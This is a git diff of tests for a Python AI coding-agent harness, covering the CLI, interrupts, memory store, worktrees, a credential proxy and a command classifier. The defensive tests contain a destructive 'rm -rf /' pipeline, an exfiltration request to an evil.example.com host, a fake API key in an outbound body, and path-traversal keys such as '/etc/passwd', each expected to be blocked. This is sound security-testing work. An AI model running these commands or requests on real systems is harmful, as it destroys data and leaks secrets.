self.assertEqual(client.calls[0]["output_config"], {"effort": "low"}) + + def test_api_errors_end_the_turn(self): + request = httpx2.Request("POST", "https://api.anthropic.com/v1/messages") + response = httpx2.Response(529, request=request, json={"error": {"message": "Overloaded"}}) + error = anthropic.APIStatusError("Overloaded", response=response, body={"error": {"message": "Overloaded"}}) + events = self.run_turn(self.make_agent(FakeClient(error=error))) + self.assertEqual(events, [ApiError(529, "Overloaded")]) + + def test_interrupt_answers_open_tool_calls(self): + client = FakeClient(make_message([ + tool_use("t1", "read_file", {"path": "a.txt"}), + tool_use("t2", "bash", {"command": "echo hi"}), + ], stop_reason="tool_use")) + self.write("a.txt", "x\n") + + async def hang(name, summary, tool_input): + await asyncio.sleep(3600) + + agent = self.make_agent(client, hang) + + async def interrupted(): + task = asyncio.create_task(self._drain(agent)) + await asyncio.sleep(0.2) + task.cancel() + with self.assertRaises(asyncio.CancelledError): + await task + + asyncio.run(interrupted()) + results = Session.load(self.session.path).messages[-1]["content"] + self.assertEqual([r["tool_use_id"] for r in results], ["t1", "t2"]) + self.assertFalse(results[0]["is_error"]) + self.assertEqual(results[1]["content"], engine.INTERRUPTED_MESSAGE) + + async def _drain(self, agent): + async for _ in agent.send("go"): + pass + + +class CliTests(TempProject): + def cod(self, *argv, client, stdin=""): + out, err = io.StringIO(), io.StringIO() + code = cli.agent_main(["--root", str(self.root), *argv], client=client, stdin=io.StringIO(stdin), stdout=out, stderr=err) + return code, out.getvalue(), err.getvalue() + + def test_print_mode_answers_and_saves_the_session(self): + client = FakeClient(make_message([{"type": "thinking", "thinking": "Hm.", "signature": "s"}, {"type": "text", "text": "4"}])) + code, out, err = self.cod("-p", "2+2?", client=client) + self.assertEqual((code, out), (0, "4\n")) + self.assertIn("Hm.", err) + session = Session.find(self.root) + self.assertEqual(session.messages[0], {"role": "user", "content": "2+2?"}) + + def test_print_mode_reads_stdin_and_denies_without_a_terminal(self): + client = FakeClient( + make_message([tool_use("t1", "bash", {"command": "touch made.txt"})], stop_reason="tool_use"), + make_message([{"type": "text", "text": "Could not."}]), + ) + code, out, err = self.cod("-p", "-", client=client, stdin="make a file") + self.assertEqual(code, 0) + self.assertEqual(client.calls[0]["messages"][0]["content"], "make a file") + self.assertIn("no terminal to ask on", err) + self.assertFalse((self.root / "made.txt").exists()) + + code, _, _ = self.cod("-p", "again", "--allow-all", client=FakeClient( + make_message([tool_use("t1", "bash", {"command": "touch made.txt"})], stop_reason="tool_use"), + make_message([{"type": "text", "text": "Made."}]), + )) + self.assertTrue((self.root / "made.txt").exists()) + + def test_continue_resumes_the_latest_session(self): + self.cod("-p", "first", client=FakeClient(make_message([{"type": "text", "text": "one"}]))) + client = FakeClient(make_message([{"type": "text", "text": "two"}])) + self.cod("-c", "-p", "second", client=client) + roles = [(m["role"], m["content"] if isinstance(m["content"], str) else m["content"][0]["text"]) for m in client.calls[0]["messages"]] + self.assertEqual(roles, [("user", "first"), ("assistant", "one"), ("user", "second")]) + self.assertEqual(len(list((self.root / ".cod" / "sessions").glob("*.jsonl"))), 1) + + def test_exit_codes(self): + refusal = make_message([], stop_reason="refusal", stop_details={"type": "refusal", "category": None}) + code, _, err = self.cod("-p", "x", client=FakeClient(refusal)) + self.assertEqual(code, 2) + self.assertIn("declined", err) + code, _, err = self.cod("-p", "x", client=FakeClient(error=TypeError("Could not resolve authentication method"))) + self.assertEqual(code, 1) + self.assertIn("authentication", err) + code, _, err = self.cod("--resume", "missing", "-p", "x", client=FakeClient(refusal)) + self.assertEqual(code, 1) + self.assertIn("no session file", err) + + def test_serve_refuses_public_hosts(self): + self.assertTrue(cli.is_loopback_host("::1")) + self.assertFalse(cli.is_loopback_host("0.0.0.0")) + with self.assertRaises(SystemExit), mock.patch("sys.stderr", io.StringIO()): + cli.main(["serve", "--host", "0.0.0.0"]) + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_cod_ai_full_suite.py b/tests/test_cod_ai_full_suite.py deleted file mode 100755 index cf6021b..0000000 --- a/tests/test_cod_ai_full_suite.py +++ /dev/null @@ -1,475 +0,0 @@ -#!/usr/bin/env python3 -""" -Comprehensive Adversarial Verification Suite for `cod.ai` (Phases 1.5, 2, 3, 4, and 5). -Tests every non-negotiable architectural invariant, edge case, concurrency guard, -and headless browser telemetry rendering. -""" -import json -import os -from pathlib import Path -import tempfile -import unittest - -import sys -if "/home/spark" not in sys.path: - sys.path.insert(0, "/home/spark") -WORKSPACE = Path(__file__).resolve().parent.parent -if str(WORKSPACE) not in sys.path: - sys.path.insert(0, str(WORKSPACE)) - -from src.prompts import ( - AbstractionPolicy, - HolisticWebArchitectEngine, - PolarityMode, - PromptAssemblyEngine, - TruncationViolationError, - build_simple_mode_prompt, - is_simple_mode_enabled, - validate_surgical_bash_command, - verify_zero_truncation, -) -from src.context import ( - FiveMinuteTTLScheduler, - HybridContextGovernor, - ModelAffinityRouter, - ModelSwitchCacheViolationError, - PrefixMutationError, - ThreeLayerCacheAssembler, - ToolDefinition, - get_min_cache_tokens, -) -from src.agents import ( - AdversarialVerificationAgent, - CompactionValidationError, - DiscoveryQuery, - GoalSubTask, - GoalWorktreeCoordinator, - MemoryConcurrencyError, - MemoryMatchError, - PiSessionDAG, - ReadOnlyExploreSubAgent, - ReadOnlyViolationError, - StructuredMemoryStore, - TwoTierCompactionEngine, - VerifierPermissionError, -) -from src.security import ( - CredentialVaultProxy, - PluggableSandboxRunner, - SecurityPolicyConfig, - SkillDoctorTelemetryEngine, - TwoStageSecurityClassifier, -) - - -class TestPhase2DualPolarityPrompts(unittest.TestCase): - def setUp(self) -> None: - self.engine = PromptAssemblyEngine(workspace_root=str(WORKSPACE)) - - def test_layer1_static_prefix_immutability_and_zero_timestamps(self) -> None: - p1 = self.engine.build_static_layer1_system_prompt(deferred_tool_names=["mcp_github", "mcp_postgres"]) - p2 = self.engine.build_static_layer1_system_prompt(deferred_tool_names=["mcp_postgres", "mcp_github"]) - self.assertEqual(p1, p2) - # Verify mutating deferred tool catalog mid-session raises Invariant #1 RuntimeError - with self.assertRaises(RuntimeError): - self.engine.build_static_layer1_system_prompt(deferred_tool_names=["mcp_mutated"]) - - def test_mode_a_iterative_drafting_over_100_lines_and_anti_truncation(self) -> None: - arch = HolisticWebArchitectEngine() - # Verify placeholder detection rejects truncated code - bad_code = "def foo():\n // rest of code...\n return 1\n" - ok, violations = verify_zero_truncation(bad_code) - self.assertFalse(ok) - self.assertTrue(any("rest of" in v for v in violations)) - - # Verify 4-stage iterative drafting produces >100 lines with zero placeholders - sections = [ - ("Section 1: Domain Models", lambda: "\n".join(f"FIELD_{i} = {i}" for i in range(40))), - ("Section 2: Core State Machine", lambda: "\n".join(f"STATE_{i} = 'ACTIVE_{i}'" for i in range(40))), - ("Section 3: Boundary Validators", lambda: "\n".join(f"def validate_{i}(x): return x == {i}" for i in range(35))), - ] - artifact = arch.orchestrate_iterative_draft( - identifier="core-orchestrator-v1", - title="Core Orchestrator Module", - target_path="src/core_orchestrator.py", - section_specs=sections, - enforce_over_100_lines=True, - ) - self.assertGreater(artifact.line_count, 100) - self.assertIn(' None: - for forbidden_cmd in [ - "cat src/cli.py", - "head -n 20 README.md", - "tail -f app.log", - "sed -i 's/foo/bar/g' src/cli.py", - "awk '{print $1}' data.txt", - "pytest && cat results.txt", - "echo 'hello' > src/hacked.py", - ]: - res = validate_surgical_bash_command(forbidden_cmd) - self.assertFalse(res.allowed, f"Expected '{forbidden_cmd}' to be blocked in Mode B") - - for allowed_cmd in [ - "pytest tests/ -v", - "python3 -m unittest discover -s tests", - "git status --porcelain", - ]: - res = validate_surgical_bash_command(allowed_cmd) - self.assertTrue(res.allowed, f"Expected '{allowed_cmd}' to be allowed in Mode B") - - def test_abstraction_override_and_pi_specialist_loader(self) -> None: - spec = self.engine.load_pi_specialist("holistic-web-architect") - self.assertEqual(spec.slug, "holistic-web-architect") - self.assertIn("Mode A", spec.charter_markdown) - - reminder = self.engine.build_layer3_polarity_switch( - mode=PolarityMode.MODE_B_IMPLEMENTER, - context="Repo execution", - objective="Implement cache assembler", - project_instructions="CLAUDE.md: authorize_modular_helpers and authorize_clean_abstractions", - skill_domains=["system_architecture", "pi_specialist_bridge"], - pi_specialist_slug="adversarial-verifier", - ) - self.assertIn('status="AUTHORIZED_BY_ARCHITECT_OR_AGENTS_MD"', reminder) - self.assertIn('', reminder) - - def test_cod_simple_mode_4_line_override(self) -> None: - self.assertTrue(is_simple_mode_enabled({"COD_SIMPLE": "true"})) - simple_prompt = build_simple_mode_prompt(cwd="/workspace", fixed_date="2026-10-24") - self.assertEqual(len(simple_prompt.splitlines()), 4) - self.assertIn("Identity:", simple_prompt) - self.assertIn("CWD: /workspace", simple_prompt) - - -class TestPhase3ContextAndCacheEngine(unittest.TestCase): - def test_3_layer_cache_assembler_and_thresholds(self) -> None: - self.assertEqual(get_min_cache_tokens("claude-opus-5-5"), 512) - self.assertEqual(get_min_cache_tokens("claude-sonnet-4-6"), 1024) - self.assertEqual(get_min_cache_tokens("claude-opus-4-7"), 2048) - self.assertEqual(get_min_cache_tokens("claude-haiku-4-5"), 4096) - - core_tools = [ - ToolDefinition("Read", "Read file contents", {"type": "object", "properties": {"path": {"type": "string"}}}), - ToolDefinition("Edit", "Edit file contents", {"type": "object", "properties": {"path": {"type": "string"}}}), - ] - deferred_tools = [ - ToolDefinition("mcp_github_create_pr", "Create GitHub PR", {"type": "object"}, defer_loading=True), - ToolDefinition("mcp_postgres_query", "Run SQL query on Postgres", {"type": "object"}, defer_loading=True), - ] - - # Verify deferred tool cannot carry cache_control (Anthropic 400 error rule) - with self.assertRaises(ValueError): - deferred_tools[0].to_api_dict(with_cache_control=True) - - assembler = ThreeLayerCacheAssembler( - model="claude-haiku-4-5", # 4,096 min token threshold test - system_prompt="You are cod.ai.", - layer2_project_context="# CLAUDE.md\nAlways preserve prefix caches.", - core_tools=core_tools, - deferred_tools=deferred_tools, - auto_pad_to_min_threshold=True, - ) - assembler.append_user_message( - "Implement Postgres query handler", - system_reminders=["Remember to use parameterized SQL."], - ) - req1 = assembler.assemble_request() - self.assertTrue(req1.cache_eligible_layer1) - self.assertTrue(req1.cache_eligible_layer2) - self.assertGreaterEqual(req1.layer1_tokens, 4096) - self.assertGreaterEqual(req1.layer2_tokens, 4096) - self.assertLessEqual(req1.breakpoint_count, 4) - - # Inject dynamic MCP tool in Layer 3 and turn-scoped system reminder; verify Layer 1 & Layer 2 hashes never change! - refs = assembler.search_deferred_tools("postgres sql") - self.assertEqual(refs[0]["tool_name"], "mcp_postgres_query") - assembler.inject_dynamic_mcp_tool_layer3( - ToolDefinition("mcp_sentry_issues", "Fetch Sentry issues", {"type": "object"}) - ) - assembler.append_turn_scoped_system_reminder("Request independent reads in one turn.") - req2 = assembler.assemble_request() - self.assertEqual(req1.layer1_hash, req2.layer1_hash) - self.assertEqual(req1.layer2_hash, req2.layer2_hash) - - def test_5_minute_ttl_scheduler_from_request_start(self) -> None: - sched = FiveMinuteTTLScheduler(default_ttl_seconds=300.0, warning_lead_seconds=45.0) - # Request starts at t=1000.0 with 120,000 cached tokens; streaming takes 240s (finishes at t=1240.0) - sched.record_request_start("sess_1", cached_prefix_tokens=120_000, now_ts=1000.0) - sched.record_response_complete("sess_1", now_ts=1240.0) - - # At t=1265.0 (265s after request start -> only 35s left on 300s TTL!), must trigger PRE_EXPIRATION_WARNING - rep = sched.inspect_session_ttl("sess_1", now_ts=1265.0) - self.assertEqual(rep.state, "PRE_EXPIRATION_WARNING") - self.assertEqual(rep.remaining_ttl_seconds, 35.0) - self.assertTrue(rep.should_send_keepalive) - self.assertLess(rep.estimated_keepalive_cost_usd, rep.estimated_cold_rewrite_cost_usd) - - # Trigger heartbeat ping and verify TTL resets to 300s - pinged = sched.trigger_keepalive_heartbeat("sess_1", now_ts=1266.0) - self.assertTrue(pinged) - rep_after = sched.inspect_session_ttl("sess_1", now_ts=1270.0) - self.assertEqual(rep_after.state, "HOT") - self.assertAlmostEqual(rep_after.remaining_ttl_seconds, 296.0, places=1) - - def test_model_affinity_router_and_60_80_attention_governor(self) -> None: - router = ModelAffinityRouter(primary_frontier_model="claude-opus-5-5", utility_haiku_model="claude-haiku-5-5") - primary = router.route_primary_turn("claude-opus-5-5") - self.assertEqual(primary.target_model, "claude-opus-5-5") - - # Switching primary model mid-session must raise ModelSwitchCacheViolationError - with self.assertRaises(ModelSwitchCacheViolationError): - router.route_primary_turn("claude-haiku-5-5") - - # Utility calls (session title & away summary) must route to isolated Haiku with thinking=disabled & skip_cache_write=True - title_req = router.build_session_title_request("Architect and build cod.ai next-gen coding harness on Proxmox") - self.assertEqual(title_req.model, "claude-haiku-5-5") - self.assertEqual(title_req.thinking, {"type": "disabled"}) - self.assertTrue(title_req.skip_cache_write) - title_words = title_req.parsed_result["title"].split() - self.assertGreaterEqual(len(title_words), 3) - self.assertLessEqual(len(title_words), 7) - - away_req = router.build_away_summary_request( - [{"role": "user", "content": f"Turn {i}"} for i in range(45)] - ) - self.assertEqual(away_req.parsed_result["messages_sampled"], 30) - self.assertTrue(away_req.skip_cache_write) - - # Test 60-80% Attention Budget Governor - gov = HybridContextGovernor(context_window=10_000, soft_ceiling_ratio=0.60, hard_ceiling_ratio=0.80) - gov.index_file("src/context/cache_assembler.py", "cache_control ephemeral prefix " * 120) - gov.index_file("src/security/proxy_sandbox.py", "bubblewrap re-firewall proxy " * 120) - - # Under 60% ceiling -> FULL_IN_CONTEXT_N2 - dec_full = gov.allocate_context_budget(current_Conversation_tokens=1_000, query="ephemeral prefix") - self.assertEqual(dec_full.mode, "FULL_IN_CONTEXT_N2") - self.assertEqual(len(dec_full.included_files), 2) - - # Above 60% ceiling -> HYBRID_PROJECT_KNOWLEDGE_SEARCH - dec_search = gov.allocate_context_budget(current_Conversation_tokens=5_800, query="cache_assembler ephemeral") - self.assertEqual(dec_search.mode, "HYBRID_PROJECT_KNOWLEDGE_SEARCH") - self.assertEqual(dec_search.search_results[0]["filename"], "cache_assembler.py") - self.assertLessEqual(dec_search.utilization_ratio, 0.80) - - -class TestPhase4MultiAgentFleetAndVerification(unittest.TestCase): - def test_pi_session_dag_tree_branching_and_cache_meter(self) -> None: - with tempfile.TemporaryDirectory() as tmpdir: - dag = PiSessionDAG(Path(tmpdir) / "session.jsonl") - e1 = dag.append_node("system", "Static system prompt") - e2 = dag.append_node("user", "Fix auth bug") - e3 = dag.append_node("assistant", "Attempt v1 failed") - # Rewind leaf back to e2 (/tree) and branch to e4 without deleting e3! - dag.move_leaf_pointer(e2.id) - e4 = dag.append_node("assistant", "Attempt v2 succeeded") - - active_ids = [n.id for n in dag.get_active_path()] - self.assertEqual(active_ids, [e1.id, e2.id, e4.id]) - self.assertIn(e3.id, dag.nodes) # e3 preserved in tree - - # Verify Cache Re-billed meter tracks unexpected miss but ignores intentional compaction - dag.record_turn_usage( - cache_read_tokens=0, - cache_write_tokens=100_000, - uncached_input_tokens=500, - expected_cached_prefix_tokens=100_000, - cause="cache miss after 12m idle", - is_intentional_compaction=False, - ) - self.assertEqual(dag.meter.cache_misses, 1) - self.assertGreater(dag.meter.rebilled_cost_usd, 0.0) - self.assertIn("Cache Re-billed:", dag.meter.format_pi_footer()) - - def test_explore_subagent_triggers_above_3_queries_and_distills_1k_2k_brief(self) -> None: - explore = ReadOnlyExploreSubAgent(WORKSPACE, trigger_threshold=3) - queries = [ - DiscoveryQuery("Glob", "*.py", "src"), - DiscoveryQuery("Grep", "cache_control", "src"), - DiscoveryQuery("Grep", "ToolSearch", "src"), - DiscoveryQuery("Read", "src/prompts/engine.py"), - ] - self.assertTrue(explore.should_spawn_explore_agent(queries)) - with self.assertRaises(ReadOnlyViolationError): - explore.validate_tool_call("Write") - - brief = explore.execute_isolated_exploration("Map cod.ai core modules", queries) - self.assertTrue(brief.within_budget_1k_to_2k, f"Brief tokens={brief.distilled_token_count} not in [1000, 2000]") - self.assertGreaterEqual(brief.distilled_token_count, 1000) - self.assertLessEqual(brief.distilled_token_count, 2000) - - def test_two_tier_compaction_stage1_cache_safe_and_stage2_9_sections(self) -> None: - comp = TwoTierCompactionEngine() - msgs = [ - {"role": "user", "content": [{"type": "tool_result", "content": "CACHED_PREFIX_OUTPUT_" * 40}]}, - {"role": "user", "content": [{"type": "tool_result", "content": "POST_BREAKPOINT_STALE_OUTPUT_" * 40}]}, - {"role": "user", "content": [{"type": "text", "text": "Recent turn 1"}]}, - {"role": "assistant", "content": [{"type": "text", "text": "Recent turn 2"}]}, - ] - # Index 0 is behind the cache breakpoint and MUST NOT be mutated! Index 1 is post-breakpoint and gets pruned. - s1 = comp.run_stage1_micro_compaction(msgs, last_cached_message_index=0, keep_recent_turns=2) - self.assertEqual(s1.pruned_tool_outputs_count, 1) - self.assertNotIn("MICRO-COMPACTED", s1.messages[0]["content"][0]["content"]) - self.assertIn("MICRO-COMPACTED", s1.messages[1]["content"][0]["content"]) - - # Stage 2: Verify NO_TOOLS_PREAMBLE blocks tool_use and strips while keeping all 9 sections + top 5 files - with self.assertRaises(CompactionValidationError): - comp.parse_and_strip_analysis({"content": [{"type": "tool_use", "name": "Read"}]}) - - recent_5 = [(f"src/mod_{i}.py", f"def func_{i}(): return {i}") for i in range(6)] - s2 = comp.execute_stage2_compaction( - layer2_message={"role": "user", "content": [{"type": "text", "text": "CLAUDE.md"}]}, - layer3_messages=msgs, - recently_accessed_files=recent_5, - ) - self.assertTrue(s2.all_9_sections_present) - self.assertNotIn("", s2.clean_summary_xml) - self.assertEqual(len(s2.restored_top5_files), 5) - - def test_atomic_memory_concurrency_and_goal_worktree_coordinator(self) -> None: - with tempfile.TemporaryDirectory() as tmpdir: - mem = StructuredMemoryStore(Path(tmpdir) / "memory") - st1 = mem.memory_write("ARCH.md", "Status: DRAFT\nModule: Core\n") - self.assertEqual(st1.version, 1) - - # Wrong if_version must raise MemoryConcurrencyError - with self.assertRaises(MemoryConcurrencyError): - mem.memory_str_replace("ARCH.md", "Status: DRAFT", "Status: FINAL", if_version=99) - - # Ambiguous old_str (2 occurrences) must raise MemoryMatchError - mem.memory_append("ARCH.md", "Status: DRAFT\n", if_version=1) - with self.assertRaises(MemoryMatchError): - mem.memory_str_replace("ARCH.md", "Status: DRAFT", "Status: FINAL", if_version=2) - - # Unique replacement with exact if_version=2 succeeds - st3 = mem.memory_str_replace("ARCH.md", "Module: Core", "Module: VerifiedCore", if_version=2) - self.assertEqual(st3.version, 3) - - # Test /goal Git Worktree Coordinator with 2 parallel worker branches - repo_dir = Path(tmpdir) / "repo" - wt_dir = Path(tmpdir) / "worktrees" - repo_dir.mkdir() - coord = GoalWorktreeCoordinator(repo_dir, wt_dir, mem) - - def worker_a(wt: Path, m: StructuredMemoryStore) -> str: - (wt / "feature_a.py").write_text("FEATURE_A = True\n", encoding="utf-8") - return "Implemented feature_a.py in isolated git worktree" - - def worker_b(wt: Path, m: StructuredMemoryStore) -> str: - (wt / "feature_b.py").write_text("FEATURE_B = True\n", encoding="utf-8") - return "Implemented feature_b.py in isolated git worktree" - - report = coord.execute_goal( - "Build Parallel Features", - [ - GoalSubTask("task_a", "Feature A", "feat/branch-a", worker_a), - GoalSubTask("task_b", "Feature B", "feat/branch-b", worker_b), - ], - ) - self.assertTrue(report.all_succeeded) - self.assertEqual(report.total_tasks, 2) - goal_mem = mem.read_memory("GOAL_STATE.md") - self.assertIn("Status: COMPLETED", goal_mem.content) - - def test_adversarial_verifier_permissions_and_spot_check(self) -> None: - verifier = AdversarialVerificationAgent(WORKSPACE) - self.assertTrue(verifier.should_trigger(files_edited_count=3)) - # Verifier must block project file writes with VerifierPermissionError (exit code 2) - with self.assertRaises(VerifierPermissionError): - verifier.guard_tool_invocation("Write", str(WORKSPACE / "src/hacked.py")) - # Verifier must block spawning child agents - with self.assertRaises(VerifierPermissionError): - verifier.guard_tool_invocation("dispatch_specialist") - # Verifier CAN write ephemeral test harness inside /tmp/ - tmp_harness = verifier.write_ephemeral_tmp_harness("cod_ai_verifier_probe.py", "print('EPHEMERAL_PROBE_OK')\n") - self.assertTrue(tmp_harness.exists()) - - -class TestPhase5ContainmentAndSecurityClassifier(unittest.TestCase): - def test_credential_vault_proxy_and_sandbox_isolation(self) -> None: - proxy = CredentialVaultProxy( - credentials={"ANTHROPIC_API_KEY": "sk-ant-secret-key-999999", "HERETEK_LLM_KEY": "hk-secret-888888"} - ) - runner = PluggableSandboxRunner(WORKSPACE, proxy) - res = runner.execute_sandboxed(["python3", "-c", "import os; print('CONTAINED:', os.environ.get('COD_SANDBOX_CONTAINED'), 'KEY:', os.environ.get('ANTHROPIC_API_KEY'))"]) - self.assertEqual(res.exit_code, 0) - self.assertIn("CONTAINED: 1 KEY: None", res.stdout) - self.assertFalse(res.credentials_exposed_in_env) - - # Outbound request to allowlisted api.anthropic.com injects x-api-key at boundary - allowed_req = proxy.inspect_and_inject_outbound_request("https://api.anthropic.com/v1/messages", body='{"model": "claude-opus-5-5"}') - self.assertTrue(allowed_req.allowed) - self.assertTrue(allowed_req.injected_auth_header) - self.assertEqual(allowed_req.sanitized_headers["x-api-key"], "sk-ant-secret-key-999999") - - # Outbound request to non-allowlisted domain is blocked (re-firewall quarantine) - blocked_host = proxy.inspect_and_inject_outbound_request("https://evil.example.com/steal") - self.assertFalse(blocked_host.allowed) - - # Outbound request attempting to exfiltrate raw key in payload is blocked - exfil = proxy.inspect_and_inject_outbound_request("https://api.anthropic.com/v1/messages", body="Here is sk-ant-secret-key-999999") - self.assertFalse(exfil.allowed) - self.assertTrue(exfil.blocked_exfiltration) - - def test_2_stage_security_classifier_and_critique(self) -> None: - clf = TwoStageSecurityClassifier() - # Stage 1 fast allow - v_allow = clf.evaluate_command("git status && pytest tests/") - self.assertEqual(v_allow.decision, "ALLOW") - self.assertEqual(v_allow.stage_reached, 1) - self.assertEqual(v_allow.exit_code, 0) - - # Pipe with destructive subcommand -> Stage 1 SOFT_DENY (exit code 2) - v_deny = clf.evaluate_command("git status | rm -rf /") - self.assertEqual(v_deny.decision, "SOFT_DENY") - self.assertEqual(v_deny.exit_code, 2) - - # Stage 2 escalation on high-blast-radius command (`re-firewall unmask`) - v_stage2 = clf.evaluate_command("re-firewall unmask") - self.assertEqual(v_stage2.decision, "ESCALATED_DENY") - self.assertEqual(v_stage2.stage_reached, 2) - self.assertEqual(v_stage2.exit_code, 2) - self.assertIn("", v_stage2.stage2_thinking_trace or "") - - # Critique utility detects overbroad and conflicting rules - flawed_policy = SecurityPolicyConfig( - allow_rules=[".*", "git push --force"], - soft_deny_rules=["git push --force"], - ) - crit = clf.critique_permission_rules(flawed_policy) - self.assertEqual(crit.overall_health, "NEEDS_REVISION") - self.assertGreaterEqual(len(crit.findings), 2) - - def test_skill_doctor_telemetry_dashboard(self) -> None: - doc = SkillDoctorTelemetryEngine() - snap = doc.run_skill_doctor( - session_id="test_sess", - model="claude-opus-5-5", - active_tokens=150_000, - context_window=1_000_000, - cache_read_tokens=450_000, - cache_write_tokens=50_000, - cache_rebilled_usd=0.0, - tokens_before_compact=600_000, - tokens_after_compact=150_000, - retrieved_items=["a.py", "b.py"], - relevant_items={"a.py", "b.py"}, - ) - self.assertEqual(snap.context_utilization_pct, 15.0) - self.assertEqual(snap.retrieval_precision_pct, 100.0) - md = snap.render_dashboard_markdown() - self.assertIn("`/skill doctor`", md) - - -if __name__ == "__main__": - unittest.main(verbosity=2) diff --git a/tests/test_web_server.py b/tests/test_web_server.py index 7ec592d..0e46510 100644 --- a/tests/test_web_server.py +++ b/tests/test_web_server.py @@ -2,7 +2,6 @@ import json from pathlib import Path import sys -from types import SimpleNamespace import unittest WORKSPACE = Path(__file__).resolve().parent.parent @@ -10,69 +9,12 @@ sys.path.insert(0, str(WORKSPACE)) import anthropic import httpx2 -from anthropic.types.beta import BetaMessage from fastapi.testclient import TestClient +from fakes import FakeClient, make_message from src import web_server -def make_message(content, stop_reason="end_turn", stop_details=None, model="claude-opus-5-5"): - return BetaMessage.model_validate({ - "id": "msg_test", - "type": "message", - "role": "assistant", - "model": model, - "content": content, - "stop_reason": stop_reason, - "stop_sequence": None, - "stop_details": stop_details, - "usage": {"input_tokens": 12, "output_tokens": 7, "cache_read_input_tokens": 900}, - }) - - -def stream_events(message): - """Raw stream events for a message: start, then each block with one delta.""" - yield SimpleNamespace(type="message_start", message=SimpleNamespace(model=message.model)) - for index, block in enumerate(message.content): - yield SimpleNamespace(type="content_block_start", index=index, content_block=block) - if block.type == "text": - yield SimpleNamespace(type="content_block_delta", index=index, delta=SimpleNamespace(type="text_delta", text=block.text)) - elif block.type == "thinking": - yield SimpleNamespace(type="content_block_delta", index=index, delta=SimpleNamespace(type="thinking_delta", thinking=block.thinking)) - - -class FakeStream: - def __init__(self, message): - self._message = message - - async def __aenter__(self): - return self - - async def __aexit__(self, *exc): - return False - - async def __aiter__(self): - for event in stream_events(self._message): - yield event - - async def get_final_message(self): - return self._message - - -class FakeClient: - def __init__(self, message=None, error=None): - self.calls = [] - self._message = message - self._error = error - self.beta = SimpleNamespace(messages=SimpleNamespace(stream=self._stream)) - - def _stream(self, **params): - self.calls.append(params) - if self._error: - raise self._error - return FakeStream(self._message) - - def parse_sse(body): events = [] for raw in body.strip().split("\n\n"): diff --git a/tests/test_worktrees.py b/tests/test_worktrees.py new file mode 100644 index 0000000..4396005 --- /dev/null +++ b/tests/test_worktrees.py @@ -0,0 +1,76 @@ +"""Tests for the versioned memory store and the git worktree task runner (`src/agents/`).""" +from pathlib import Path +import subprocess +import sys +import tempfile +import unittest + +WORKSPACE = Path(__file__).resolve().parent.parent +sys.path.insert(0, str(WORKSPACE)) + +from src.agents import GoalSubTask, GoalWorktreeCoordinator, MemoryConcurrencyError, MemoryMatchError, StructuredMemoryStore + + +class MemoryStoreTests(unittest.TestCase): + def setUp(self): + self._tmp = tempfile.TemporaryDirectory() + self.tmp = Path(self._tmp.name) + self.mem = StructuredMemoryStore(self.tmp / "memory") + + def tearDown(self): + self._tmp.cleanup() + + def test_versions_guard_concurrent_writes(self): + self.assertEqual(self.mem.memory_write("ARCH.md", "Status: DRAFT\nModule: Core\n").version, 1) + with self.assertRaises(MemoryConcurrencyError): + self.mem.memory_str_replace("ARCH.md", "Status: DRAFT", "Status: FINAL", if_version=99) + self.assertEqual(self.mem.memory_append("ARCH.md", "Status: DRAFT\n", if_version=1).version, 2) + with self.assertRaises(MemoryMatchError): + self.mem.memory_str_replace("ARCH.md", "Status: DRAFT", "Status: FINAL", if_version=2) + state = self.mem.memory_str_replace("ARCH.md", "Module: Core", "Module: Verified", if_version=2) + self.assertEqual(state.version, 3) + self.assertIn("Module: Verified", self.mem.read_memory("ARCH.md").content) + + def test_keys_stay_inside_the_memory_root(self): + with self.assertRaises(ValueError): + self.mem.memory_write("../escape.md", "x") + with self.assertRaises(ValueError): + self.mem.memory_write("/etc/passwd", "x") + self.assertEqual(self.mem.memory_write("notes/a.md", "ok").version, 1) + + +class WorktreeCoordinatorTests(unittest.TestCase): + def test_workers_run_in_separate_worktrees(self): + with tempfile.TemporaryDirectory() as tmp: + tmp = Path(tmp) + mem = StructuredMemoryStore(tmp / "memory") + coordinator = GoalWorktreeCoordinator(tmp / "repo", tmp / "worktrees", mem) + + def worker(name): + def run(worktree: Path, memory: StructuredMemoryStore) -> str: + (worktree / f"{name}.py").write_text(f"{name.upper()} = True\n", encoding="utf-8") + return f"wrote {name}.py" + return run + + def broken(worktree: Path, memory: StructuredMemoryStore) -> str: + raise RuntimeError("boom") + + report = coordinator.execute_goal("Two features", [ + GoalSubTask("task_a", "Feature A", "feat/a", worker("feature_a")), + GoalSubTask("task_b", "Feature B", "feat/b", worker("feature_b")), + ]) + self.assertTrue(report.all_succeeded) + self.assertEqual(report.total_tasks, 2) + self.assertIn("Status: COMPLETED", mem.read_memory("GOAL_STATE.md").content) + for result, other in zip(report.worker_results, ("feature_b", "feature_a")): + files = subprocess.run(["git", "ls-tree", "--name-only", result.branch_name], cwd=tmp / "repo", capture_output=True, text=True).stdout + self.assertNotIn(other, files) + + failed = coordinator.execute_goal("Broken", [GoalSubTask("task_c", "Broken", "feat/c", broken)]) + self.assertFalse(failed.all_succeeded) + self.assertIn("boom", failed.worker_results[0].final_answer) + self.assertIn("Status: FAILED", mem.read_memory("GOAL_STATE.md").content) + + +if __name__ == "__main__": + unittest.main(verbosity=2) From 4d618baca7ca3c86d1c681832fee7211cfa0c0c9 Mon Sep 17 00:00:00 2001 From: Claude Date: Sun, 25 Oct 2026 17:03:19 +0000 Subject: [PATCH 5/7] Add compaction, the memory tool and a bubblewrap shell sandbox - Requests turn on server-side compaction (compact_20260112, default trigger 150k input tokens); compaction blocks are stored and resent. - The memory_20250818 tool keeps notes in .cod/memory/, with paths and symlinks confined to that folder. Whether a session has it is saved in the session header so the tool list stays fixed across resumes. - Shell commands run under bwrap when installed: read-only system, hidden home, writable project and /tmp, read-only .cod/. - The file tools can no longer write into .cod/, so Claude can't grant itself permissions. - The REPL prints token usage after each turn. Co-Authored-By: Claude Opus 5.5 (1M context) Claude-Session: https://claude.ai/code/session_015NGPpYxuPWkyJUoefut3Wo --- DESIGN.md | 2 +- README.md | 19 ++++- src/agent/engine.py | 28 +++++-- src/agent/memory_tool.py | 177 +++++++++++++++++++++++++++++++++++++++ src/agent/models.py | 33 +++++++- src/agent/permissions.py | 8 +- src/agent/session.py | 17 +++- src/agent/terminal.py | 5 ++ src/agent/tools.py | 87 +++++++++++++++---- src/cli.py | 23 +++-- tests/test_agent.py | 140 ++++++++++++++++++++++++++++++- 11 files changed, 496 insertions(+), 43 deletions(-) create mode 100644 src/agent/memory_tool.py diff --git a/DESIGN.md b/DESIGN.md index 81b94b8..a15eaf5 